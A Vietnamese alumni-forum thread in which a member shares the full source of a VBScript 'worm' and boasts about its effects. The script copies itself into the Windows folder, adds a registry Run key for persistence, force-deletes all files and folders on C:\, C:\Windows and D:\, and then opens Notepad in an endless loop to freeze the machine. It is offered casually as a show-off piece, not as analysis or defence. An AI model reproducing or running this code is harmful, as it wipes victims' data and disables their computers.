Go Back   Cựu Học Sinh Lê Quý Đôn - Long An > :: Góc Học Tập :: > Tin học > Học lập trình

Học lập trình Pascal , C+ , C++ , VB

Chơi worm vbs, tác dụng củng tầm tầm

Chơi worm vbs, tác dụng củng tầm tầm

this thread has 0 replies and has been viewed 6811 times

Gởi Ðề Tài Mới Trả lời
 
Ðiều Chỉnh Xếp Bài
Old 07-03-2012, 07:01 PM   #1
Hồ sơ
nguyenchican
Junior Member
 
Tham gia ngày: Mar 2012
Số bài viết: 13
Tiền: 500
Thanks: 1
Thanked 68 Times in 5 Posts
nguyenchican is on a distinguished road
Default Chơi worm vbs, tác dụng củng tầm tầm

Đã bị nhiều người chửi mắng vì 1 con vi rút, chỉ cho coi thử, khồn cho mở mà cứ mở xong rồi chửi ng ta, mà không sao, nhân diệp 8\3 muốn show 1 con worm vbs nhẹ nhẹ
Nói sơ sơ: có tác dụng del ổ C + D và C:\Windows
nho nhỏ thôi, máy tính không có đóng băng là thấy cảnh, đã text đối với có đóng băng, đứng máy do liên tục mở notepad

Code như sau:
msgbox"rút điện ra nhanh lên !" 'Cai nay co tac dung se tao 1 hop thong bao tren man hinh cua nan nha
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"

On Error Resume Next
Const vic = "D:\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub

On Error Resume Next
Const vic1 = "C:\windows\"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub

On Error Resume Next
Const vic2 = "C:\"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub

On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop


cách cứu ổ cứng là tút điện ra ngay




Thấy hay thì thank dùm em 1 phát nha các bác
__________________
Cần lực sĩ
Cần tài trợ hosting và domain, ai có lòng hảo tâm cho em xin 1 con
nguyenchican is offline   Trả Lời Với Trích Dẫn
Trả lời


Ðiều Chỉnh
Xếp Bài

Quyền Sử Dụng Ở Diễn Ðàn
Bạn không được quyền gởi bài
Bạn không được quyền gởi trả lời
Bạn không được quyền gởi kèm file
Bạn không được quyền sửa bài

vB code đang Mở
Smilies đang Mở
[IMG] đang Mở
HTML đang Tắt
Chuyển đến

Chủ đề tương tự
Ðề tài Người Gởi Chuyên mục Trả lời Bài mới gởi
Việt Nam và WTO Tr.Giang ..:: Điểm tin ::.. 4 07-01-2007 01:35 AM
Bảo mật trên ổ USB… LeGiang Bảo mật 0 01-06-2006 03:34 PM


Website sử dụng phần mềm vBulletin phiên bản 3.6.8
do Công ty TNHH Jelsoft giữ bản quyền từ 2000 - 2024.
Múi giờ GMT +7. Hiện tại là 08:53 PM.

Hội CHS Lê Quý Đôn-Long An giữ bản quyền nội dung của website này

Tự động[F9]TELEX VNI VIQR VIQR* TắtKiểm chính tảDấu cũ
phan mem quan ly ban hang | thuê vps